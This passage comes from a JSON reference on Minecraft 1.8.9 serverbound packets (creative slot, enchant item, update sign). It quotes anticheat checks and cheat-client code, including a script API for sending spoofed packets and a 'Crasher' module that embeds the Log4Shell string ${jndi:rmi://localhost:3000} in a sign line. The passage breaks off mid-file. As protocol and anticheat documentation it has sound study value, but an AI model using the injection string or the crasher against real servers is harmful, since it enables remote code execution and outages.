menu.getSlot(i).set(slots.get(i));\n                        }\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            }\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // The server sent a packet for the player's inventory when they had another inventory open - revert.\n                if (updatedValue.get() && !menu.equals(inventory)) {\n                    isPacketInventoryActive = false;\n                }\n            });\n        }\n\n        // This packet replaces SET_SLOT for player inventory for 1.21.2+\n        if (event.getPacketType() == PacketType.Play.Server.SET_PLAYER_INVENTORY) {\n            WrapperPlayServerSetPlayerInventory slot = new WrapperPlayServerSetPlayerInventory(event);\n            final int slotID = slot.getSlot();\n            final ItemStack item = slot.getStack();\n\n            inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                inventory.getSlot(slotID).set(item);\n            });\n        }\n\n        // Also 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            // Only edit hotbar (36 to 44) if window ID is 0\n            // Set cursor by putting -1 as window ID and as slot\n            // Window ID -2 means any slot can be used\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n            final int slotID = slot.getSlot();\n            final int inventoryID = slot.getWindowId();\n            final ItemStack item = slot.getItem();\n\n            if (inventoryID == -2) { // Direct inventory change\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else if (inventoryID == 0) { // Inventory change through window ID, no crafting result\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else {\n                markServerForChangingSlot(slotID, inventoryID);\n            }\n\n            stateID = slot.getStateId();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                if (inventoryID == -1) { // Carried item\n                    inventory.setCarried(item);\n                } else if (inventoryID == -2) { // Direct inventory change (only applied if valid slot)\n                    if (inventory.getInventoryStorage().getSize() > slotID && slotID >= 0) {\n                        inventory.getInventoryStorage().setItem(slotID, item);\n                    }\n                } else if (inventoryID == 0) { // Player inventory\n                    // This packet can only be used to edit the hotbar and offhand of the player's inventory if\n                    // window ID is set to 0 (slots 36 through 45) if the player is in creative, with their inventory open,\n                    // and not in their survival inventory tab. Otherwise, when window ID is 0, it can edit any slot in the player's inventory.\n                    if (slotID >= 0 && slotID <= 45) {\n                        inventory.getSlot(slotID).set(item);\n                    }\n                } else if (inventoryID == openWindowID) { // Opened inventory (if not valid, client crashes)\n                    menu.getSlot(slotID).set(item);\n                }\n            });\n        }\n    }\n\n    /**\n     * Closes the player's currently open inventory on the client by resetting to the player's inventory.\n     */\n    private void closeActiveInventory() {\n        isPacketInventoryActive = true;\n        openWindowID = 0;\n        menu = inventory;\n        menu.setCarried(ItemStack.EMPTY); // Reset carried item\n    }\n}\n\n// NOTE (AI): This is a compensation listener, not a flagging check: it mirrors the packet into Grim's simulated inventory and silently ignores invalid slots. The file also handles held-item change, digging, click-window and close-window for the same inventory simulation.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java",
       "variations": "Artemis ships only the GPacketPlayClientSetCreativeSlot wrapper, and Negativity registers SET_CREATIVE_SLOT in its PacketType table, but neither runs a check on this packet."
      },
      {
       "name": "BadPacketsD (LightAntiCheat)",
       "found_in": [
        "tiredvekster-LightAntiCheat"
       ],
       "purpose": "Flag creative-slot packets sent by players who are not in creative mode.",
       "how_it_works": "On SET_CREATIVE_SLOT, the check skips when the player is already creative or changed gamemode less than 500 ms ago, so a fresh switch to creative does not false-flag. It re-checks the condition one tick later to ride out lag, then flags.",
       "detects": "Clients that send creative inventory packets in survival, which is the primitive behind item-spoof and creative-give exploits.",
       "detailed_code": "// ===== FILE: tiredvekster-LightAntiCheat, src/main/java/me/vekster/lightanticheat/check/checks/packet/badpackets/BadPacketsD.java =====\npackage me.vekster.lightanticheat.check.checks.packet.badpackets;\n\nimport me.vekster.lightanticheat.check.CheckName;\nimport me.vekster.lightanticheat.check.checks.packet.PacketCheck;\nimport me.vekster.lightanticheat.event.packetrecive.LACAsyncPacketReceiveEvent;\nimport me.vekster.lightanticheat.event.packetrecive.packettype.PacketType;\nimport me.vekster.lightanticheat.player.LACPlayer;\nimport me.vekster.lightanticheat.util.scheduler.Scheduler;\nimport org.bukkit.GameMode;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\n\n/**\n * Impassible SetCreativeSlot packet\n */\npublic class BadPacketsD extends PacketCheck implements Listener {\n    public BadPacketsD() {\n        super(CheckName.BADPACKETS_D);\n    }\n\n    @EventHandler\n    public void onAsyncPacketReceive(LACAsyncPacketReceiveEvent event) {\n        if (event.getPacketType() != PacketType.SET_CREATIVE_SLOT)\n            return;\n\n        Player player = event.getPlayer();\n        LACPlayer lacPlayer = event.getLacPlayer();\n        if (!isCheckAllowed(player, lacPlayer, true))\n            return;\n\n        if (player.getGameMode() == GameMode.CREATIVE ||\n                System.currentTimeMillis() - lacPlayer.cache.lastGamemodeChange < 500)\n            return;\n\n        Scheduler.runTaskLater(() -> {\n            if (!player.isOnline() || lacPlayer.leaveTime != 0)\n                return;\n\n            if (player.getGameMode() == GameMode.CREATIVE ||\n                    System.currentTimeMillis() - lacPlayer.cache.lastGamemodeChange < 500)\n                return;\n\n            flag(player, lacPlayer);\n        }, 1);\n    }\n\n}\n\n// NOTE (AI): The one-tick delayed re-check exists so that a player teleported into creative by a plugin mid-tick is not flagged; the flag fires only when the gamemode is still survival after the delay.",
       "code_source": "tiredvekster-LightAntiCheat, src/main/java/me/vekster/lightanticheat/check/checks/packet/badpackets/BadPacketsD.java",
       "variations": "No other anticheat in the corpus runs this check; the rest of the C10 corpus is wrapper and gamemode plumbing."
      }
     ]
    }
   },
   "wiki_notes": [
    "Picking up an item from the creative listings sends no packet until it is placed somewhere; picking an item up deletes it from the server while placing or dropping it tells the server to create it from scratch, which can be verified by disconnecting mid-drag. The destroy-item slot is a client-side detail meaning the item is simply not recreated.",
    "MCP 1.8.9 C10PacketCreativeInventoryAction implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processCreativeInventoryAction; wire serde is readPacketData/writePacketData via readItemStackFromBuffer, readShort.",
    "1.8.9 callers: PlayerControllerMP.sendSlotPacket sends new C10PacketCreativeInventoryAction (line 561): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C10PacketCreativeInventoryAction/",
   "mcp_path": "net/minecraft/network/play/client/C10PacketCreativeInventoryAction.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C11PacketEnchantItem",
   "hex": "0x11",
   "dec": 17,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Enchant Item",
   "desc": "Player selects an enchantment option in the enchanting table window. Carries window ID and button (0=top, 1=middle, 2=bottom).",
   "tags": [
    "player",
    "enchant",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Enchantment table window ID"
    },
    {
     "name": "button",
     "type": "byte",
     "desc": "Enchantment slot (0=top, 1=middle, 2=bottom)"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "byte",
     ""
    ],
    [
     "Enchantment",
     "byte",
     "0=top, 1=middle, 2=bottom"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processEnchantItem()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "The server responds with S2FPacketSetSlot (enchanted item). The server validates the lapis lazuli count and XP level before applying. No major client module specifically targets this packet in the 6+ client codebases examined, and enchantment is handled through vanilla GUI mechanics.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C11 selects an enchantment option in an open enchanting table: a byte window id and a byte button (0 top, 1 middle, 2 bottom). It is the only serverbound packet whose sole effect is triggering Container.enchantItem, and it is sent from the vanilla GUI through PlayerControllerMP.enchantItem. The server replies with S2FPacketSetSlot carrying the enchanted result plus XP and lapis deltas."
     },
     {
      "h": "Vanilla handling",
      "p": "processEnchantItem gates on three conditions: the packet's window id must equal the player's openContainer.windowId, the container must report canCraft, and the player must not be a spectator. Only then does it call enchantItem(playerEntity, button), which re-derives the enchantment from the table's seed, validates the lapis and level cost against the real player state, applies the enchantment and calls detectAndSendChanges. Every cost check is server-side; the packet carries nothing but the two bytes."
     },
     {
      "h": "Why clients touch it",
      "p": "There is no AutoEnchant module in the corpus; the hits are all plumbing. Rise 6.1.30 and Rise 6.2.4 expose sendEnchantItem in the script PacketAPI, Tenacity 6.0 lists C11 in PacketUtil.isClientPacket, and November Recode 2.0 maps C11PacketEnchantItem to wire id 0x11 in LuaEventPacket so its Lua scripting API can identify the packet by id instead of by class. Enchanting in all of these clients goes through the vanilla GUI, so the packet is never intercepted for spoofing."
     },
     {
      "h": "Exploit surface",
      "p": "The server re-validates everything, so the packet itself cannot grant free enchants; the historical abuse is ordering, not content. A client that clicks an enchant and a C0E window action in the same tick can race the slot sync, which is the dupe-era vector. Because the button byte indexes the table's three server-side options, sending a button with no matching cost is harmless: enchantItem simply fails the level check. Anti-cheats ignore C11 entirely."
     }
    ],
    "overview": "The enchanting-table selection packet. Zero modules in the corpus drive it; the hits are the Rise 6.x script PacketAPI enchant bridge, Tenacity's silent-send whitelist and November Recode 2.0's Lua packet-id map.",
    "server_handling": "processEnchantItem: window id match, canCraft check, spectator rejection, then Container.enchantItem which re-validates lapis and XP server-side. detectAndSendChanges pushes S2FPacketSetSlot with the enchanted stack. No rate limit beyond the container state machine.",
    "protocol_notes": "byte windowId + byte button on the wire. Valid only while an EnchantmentTable container is open; any other container makes the window id check fail. The button maps to the table's three server-side options, which are deterministic from the world seed and player position.",
    "anticheat_landscape": "No anti-cheat measures C11; the packet is fully server-validated and carries no movement or timing signal. The only server-side observable is the ordering relative to C0E transactions during rapid enchanting.",
    "modules": [
     {
      "name": "PacketAPI (script bridge)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose C11 construction to the scripting layer so scripts can select enchantments programmatically.",
      "how_it_works": "sendEnchantItem(windowId, enchantment) and sendEnchantItem(enchantment) build the packet and send it via PacketUtil.send; the overload without a window id reads thePlayer.openContainer.windowId at call time.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/PacketAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.Slot;\nimport com.alan.clients.script.api.wrapper.impl.ScriptEntity;\nimport com.alan.clients.script.api.wrapper.impl.ScriptItemStack;\nimport com.alan.clients.script.api.wrapper.impl.vector.ScriptVector3d;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.Vec3;\n\npublic class PacketAPI extends API {\n\n    public void sendKeepAlive(final int key) {\n        PacketUtil.send(new C00PacketKeepAlive(key));\n    }\n\n    public void sendMessage(final String message) {\n        PacketUtil.send(new C01PacketChatMessage(message));\n    }\n\n    public void sendUseEntity(final ScriptEntity entity, final String action) {\n        sendUseEntity(entity.getEntityId(), action);\n    }\n\n    public void sendUseEntity(final int entityID, final String action) {\n        PacketUtil.send(new C02PacketUseEntity(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                C02PacketUseEntity.Action.valueOf(action)));\n    }\n\n    public void sendUseEntity(final int entityID, ScriptVector3d vector) {\n        PacketUtil.send(new C02PacketUseEntity(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                new Vec3(vector.getX(), vector.getY(), vector.getZ())));\n    }\n\n    public void sendUseEntity(final ScriptEntity entity, ScriptVector3d vector) {\n        sendUseEntity(entity.getEntityId(), vector);\n    }\n\n    public void sendPosition(boolean ground) {\n        PacketUtil.send(new C03PacketPlayer(ground));\n    }\n\n    public void sendPosition(double x, double y, double z, boolean ground) {\n        PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, ground));\n    }\n\n    public void sendPosition(double x, double y, double z, float yaw, float pitch, boolean ground) {\n        PacketUtil.send(new C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, yaw, pitch, ground));\n    }\n\n    public void sendDigging(String status, ScriptVector3d vector3d, String facing) {\n        PacketUtil.send(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.valueOf(status),\n                new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()), EnumFacing.valueOf(facing)));\n    }\n\n    public void sendPlacement() {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(Client.INSTANCE.getComponentManager().get(Slot.class).getItemStack()));\n    }\n\n    public void sendPlacement(ScriptVector3d vector3d, int direction, float x, float y, float z) {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()),\n                direction, Client.INSTANCE.getComponentManager().get(Slot.class).getItemStack(), x, y, z));\n    }\n\n    public void sendPlacement(ScriptVector3d vector3d, int direction, ScriptItemStack itemStack, float x, float y, float z) {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()),\n                direction, itemStack.getWrapped(), x, y, z));\n    }\n\n    public void sendChangeItem(int slot) {\n        PacketUtil.send(new C09PacketHeldItemChange(slot));\n    }\n\n    public void sendAnimation(int entityID, String animation) {\n        PacketUtil.send(new C0APacketAnimation());\n    }\n\n    public void sendEntityAction(int entityID, String action) {\n        PacketUtil.send(new C0BPacketEntityAction(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                C0BPacketEntityAction.Action.valueOf(action)));\n    }\n\n    public void sendInput(final float strafeSpeed, final float forwardSpeed, final boolean jumping, final boolean sneaking) {\n        PacketUtil.send(new C0CPacketInput(strafeSpeed, forwardSpeed, jumping, sneaking));\n    }\n\n    public void sendCloseWindow(int windowId) {\n        PacketUtil.send(new C0DPacketCloseWindow(windowId));\n    }\n\n    public void sendCloseWindow() {\n        PacketUtil.send(new C0DPacketCloseWindow(Minecraft.getMinecraft().thePlayer.openContainer.windowId));\n    }\n\n    public void sendEnchantItem(int windowId, int enchantment) {\n        PacketUtil.send(new C11PacketEnchantItem(windowId, enchantment));\n    }\n\n    public void sendEnchantItem(int enchantment) {\n        PacketUtil.send(new C11PacketEnchantItem(Minecraft.getMinecraft().thePlayer.openContainer.windowId, enchantment));\n    }\n\n    public void sendTransaction(int windowId, short actionNumber, boolean accepted) {\n        PacketUtil.send(new C0FPacketConfirmTransaction(windowId, actionNumber, accepted));\n    }\n\n    public void sendAbilities() {\n        PacketUtil.send(new C13PacketPlayerAbilities(Minecraft.getMinecraft().thePlayer.capabilities));\n    }\n\n    public void sendAbilities(boolean flying, boolean allowFlying, boolean creativeMode) {\n        PlayerCapabilities capabilities = new PlayerCapabilities();\n        capabilities.isFlying = flying;\n        capabilities.allowFlying = allowFlying;\n        capabilities.isCreativeMode = creativeMode;\n        PacketUtil.send(new C13PacketPlayerAbilities(capabilities));\n    }\n\n    public void sendTabComplete(String message) {\n        PacketUtil.send(new C14PacketTabComplete(message));\n    }\n\n    public void sendTabComplete(String message, ScriptVector3d vector3d) {\n        PacketUtil.send(new C14PacketTabComplete(message, new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ())));\n    }\n\n    public void sendStatus(String status) {\n        PacketUtil.send(new C16PacketClientStatus(C16PacketClientStatus.EnumState.valueOf(status)));\n    }\n\n    public void sendSettings() {\n        PacketUtil.send(new C15PacketClientSettings());\n    }\n}\n// NOTE (AI): PacketAPI is the Rise 6.x scripting bridge. sendEnchantItem(windowId, enchantment) and the windowId-less overload construct C11 and push it through PacketUtil.send. The file also exposes sendAbilities, sendTabComplete and sendSettings, which is why the same class is the representative file for C13, C14 and C15. Note the enchant overload defaults to thePlayer.openContainer.windowId, mirroring the vanilla GuiEnchantment path.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/PacketAPI.java",
      "vanilla_hook": "No event hook; direct PacketUtil.send from script code.",
      "anti_cheat_notes": "None. The server re-validates the selection, so scripts gain convenience, not an exploit.",
      "variations": "Identical PacketAPI.java exists in Rise 6.1.30 with the same method bodies."
     },
     {
      "name": "PacketUtil (silent whitelist)",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Classify C11 as a legitimate client packet for Tenacity's packet routing helpers.",
      "how_it_works": "isClientPacket includes C11PacketEnchantItem in the full play-state whitelist.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/util/network/PacketUtil.java =====\npackage dev.tenacity.util.network;\n\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\npublic final class PacketUtil {\n\n    private PacketUtil() {\n    }\n\n    // This is just temporary, as for some reason packet send event allows server packets as well.\n    public static boolean isClientPacket(final Packet<?> packet) {\n        return packet instanceof C0APacketAnimation\n                || packet instanceof C0BPacketEntityAction\n                || packet instanceof C0CPacketInput\n                || packet instanceof C0DPacketCloseWindow\n                || packet instanceof C0EPacketClickWindow\n                || packet instanceof C0FPacketConfirmTransaction\n                || packet instanceof C00PacketKeepAlive\n                || packet instanceof C01PacketChatMessage\n                || packet instanceof C02PacketUseEntity\n                || packet instanceof C03PacketPlayer\n                || packet instanceof C07PacketPlayerDigging\n                || packet instanceof C08PacketPlayerBlockPlacement\n                || packet instanceof C09PacketHeldItemChange\n                || packet instanceof C10PacketCreativeInventoryAction\n                || packet instanceof C11PacketEnchantItem\n                || packet instanceof C12PacketUpdateSign\n                || packet instanceof C13PacketPlayerAbilities\n                || packet instanceof C14PacketTabComplete\n                || packet instanceof C15PacketClientSettings\n                || packet instanceof C16PacketClientStatus\n                || packet instanceof C17PacketCustomPayload\n                || packet instanceof C18PacketSpectate\n                || packet instanceof C19PacketResourcePackStatus;\n    }\n\n}\n// NOTE (AI): Same whitelist as the C10 page: C11PacketEnchantItem is classified as a client packet in isClientPacket so Tenacity's send helpers accept it. There is no enchant-specific module in Tenacity; the reference is purely the routing gate.",
      "code_source": "Tenacity 6.0, dev/tenacity/util/network/PacketUtil.java",
      "vanilla_hook": "Packet send helper, no event hook.",
      "anti_cheat_notes": "None.",
      "variations": "Same whitelist pattern as C10; the file covers every serverbound play packet."
     },
     {
      "name": "LuaEventPacket (script bridge)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose the serverbound packet id space to the Lua scripting API: scripts receive a numeric packet id instead of the raw class.",
      "how_it_works": "A static block maps every serverbound play packet class to its 1.8.9 wire id, C11PacketEnchantItem to 0x11. The constructor resolves the id from the EventPacket payload via getOrDefault (falling back to -1) and stamps a direction string ('out' for EventPacket.Out, 'in' otherwise); Lua event wrappers then pass the id and direction to scripts. The source comment explains the map exists because runtime obfuscation would break reflection-based lookups.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n\n\n// NOTE (AI): November Recode 2.0's Lua packet wrapper: the whole serverbound play id space is hard-coded in one static block because obfuscation kills reflection. C11PacketEnchantItem maps to 0x11, which matches the 1.8.9 protocol. The wrapper is read-only visibility for scripts: no packet is constructed, sent or cancelled here. The direction stamp distinguishes outbound EventPacket.Out from inbound events.\n",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.In/Out bus events translated into the Lua wrapper; no packet is constructed or sent here.",
      "anti_cheat_notes": "None: the wrapper only reads the packet class. Scripts that want to drive C11 still go through vanilla methods; the map is visibility, not control.",
      "variations": "Parallel to Rise 6.x's PacketAPI sendEnchantItem bridge, but November Recode 2.0 only identifies packets; it does not expose a send helper for enchanting."
     }
    ],
    "general_hooks": "No module hooks C11 in the corpus; scripting access goes through PacketAPI (Rise 6.x) or the LuaEventPacket wrapper (November Recode 2.0), not packet events.",
    "client_variations": "Rise 6.x exposes it in the script API; Tenacity classifies it in a helper; November Recode 2.0 maps it in the Lua wrapper. Memeware, Nekoware, Sigma, Spicy, Rise 5.99 and Tenacity all send it only via the vanilla PlayerControllerMP.enchantItem path.",
    "related": [
     "S2FPacketSetSlot",
     "C0EPacketClickWindow"
    ],
    "anticheat": {
     "overview": "No anticheat in the 50-repo corpus implements a check on the enchant-item packet. The corpus hits are enchantment-attribute reads (depth strider, soul speed, efficiency, knockback) used by movement, fight and block-break checks, plus packet-type registrations in Negativity and Artemis wrappers. Server-side anticheats do not watch the enchantment-table interaction, so this packet is invisible to them.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Two bytes: windowId plus button 0 top, 1 middle, 2 bottom; PLAY serverbound 0x11.",
    "Accepted only when the id matches the open container and it can craft; spectators are rejected.",
    "Server re-derives cost from seed, lapis and XP, so a bare button cannot grant free enchants.",
    "MCP 1.8.9 C11PacketEnchantItem implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processEnchantItem; wire serde is readPacketData/writePacketData via readByte.",
    "1.8.9 callers: PlayerControllerMP.sendEnchantPacket sends new C11PacketEnchantItem (line 551): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C11PacketEnchantItem/",
   "mcp_path": "net/minecraft/network/play/client/C11PacketEnchantItem.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C12PacketUpdateSign",
   "hex": "0x12",
   "dec": 18,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Update Sign",
   "desc": "Player finishes editing a sign. Sends the block position and four lines of text as IChatComponents.",
   "tags": [
    "player",
    "block",
    "sign",
    "chat",
    "world"
   ],
   "fields": [
    {
     "name": "position",
     "type": "BlockPos",
     "desc": "Sign block position"
    },
    {
     "name": "lines",
     "type": "IChatComponent[4]",
     "desc": "4 lines of sign text as JSON ChatComponents"
    }
   ],
   "encoding": [
    [
     "Position",
     "Position (long)",
     "BlockPos encoded as long"
    ],
    [
     "Line 1",
     "Chat Component (JSON)",
     "Sign line 1"
    ],
    [
     "Line 2",
     "Chat Component (JSON)",
     "Sign line 2"
    ],
    [
     "Line 3",
     "Chat Component (JSON)",
     "Sign line 3"
    ],
    [
     "Line 4",
     "Chat Component (JSON)",
     "Sign line 4"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processUpdateSign()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Jigsaw 0.26 OPSign module cancels and resends C12 twice to crash the server's sign data structure on vanilla 1.8-1.8.5 servers (exploit patched in 1.8.8+).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C12 commits sign text: a BlockPos plus four IChatComponent lines. GuiEditSign sends it on close, and the server writes the lines into the tile entity. It is one of the few serverbound packets that carries structured chat components rather than plain strings, which makes it a favorite vector for chat-parser and logging exploits."
     },
     {
      "h": "Vanilla handling",
      "p": "processUpdateSign loads the block and requires the tile entity to be a TileEntitySign, then checks isEditable and that the editing player matches; a failed check logs a warning and returns. Each line is re-wrapped as new ChatComponentText with formatting codes stripped (EnumChatFormatting.getTextWithoutFormattingCodes), so the server discards JSON structure and colors before storing. No length cap is applied at this layer in the bundled 1.8.9 sources."
     },
     {
      "h": "Why clients touch it",
      "p": "Three corpus hits. Rise 5.99's Crasher Sign mode injects the Log4Shell string as a sign line at BlockPos.ORIGIN, and Freecam allow-lists C12 so sign edits survive a freecam session. November Recode 2.0 maps C12PacketUpdateSign to wire id 0x12 in its LuaEventPacket wrapper so Lua scripts can recognize the packet by id. No client ships a SignSpoof or colored-sign module; the packet is otherwise vanilla-only across the corpus."
     },
     {
      "h": "Exploit surface",
      "p": "The interesting detail is where the payload lands: sign text is persisted to the world and re-broadcast, so a crafted line reaches every chunk viewer and any plugin that logs or formats tile entity data. The 1.8.x sign-crash (resending C12 twice against a vanilla bug) predates these clients and is not present in the corpus. Because the tile entity and ownership checks happen before any text processing, anonymous positions like BlockPos.ORIGIN are silently ignored unless a sign actually sits there."
     }
    ],
    "overview": "The sign-text commit packet. No SignSpoof or color-sign module exists in the corpus; C12 shows up only as Rise 5.99's Log4Shell crash carrier, a freecam whitelist entry and November Recode 2.0's Lua packet-id map.",
    "server_handling": "processUpdateSign: block loaded check, TileEntitySign cast, isEditable and owner match, then per-line sanitization into plain ChatComponentText with formatting codes stripped, markDirty and markBlockForUpdate. A non-matching owner logs 'just tried to change non-editable sign' and drops the packet.",
    "protocol_notes": "BlockPos (long-encoded) followed by four length-prefixed chat component JSON strings. Valid only while the client is in a sign-editing GUI, though the server never verifies that state, only the tile entity's editable flag. The four lines are not length-capped in 1.8.9 server code.",
    "anticheat_landscape": "No anti-cheat measures C12; it carries no movement signal. Server-side plugins that sanitize or log sign text are the only watchers, and they operate on content. Spamming C12 at arbitrary positions costs one tile entity lookup per packet and is the only measurable abuse.",
    "modules": [
     {
      "name": "Crasher (Sign)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Send a sign update carrying the Log4Shell lookup string to servers whose logging pipeline formats packet content through log4j.",
      "how_it_works": "On PreMotionEvent, Sign mode builds a 4-line IChatComponent array where line 0 is the string ${jndi:rmi://localhost:3000} and sends it at BlockPos.ORIGIN. Disables itself after one shot when using the Log4J chat variant.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Crasher.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.nbt.NBTTagList;\nimport net.minecraft.nbt.NBTTagString;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.IChatComponent;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.RandomUtils;\n\n@ModuleInfo(name = \"Crasher\", description = \"Crashes some servers\", category = Category.OTHER)\npublic final class Crasher extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Pex\", \"Pex\", \"Multiverse\", \"FAWE\", \"Log4J\", \"Invalid Move\", \"Rotation\", \"Sign\", \"Book\", \"Chunk\", 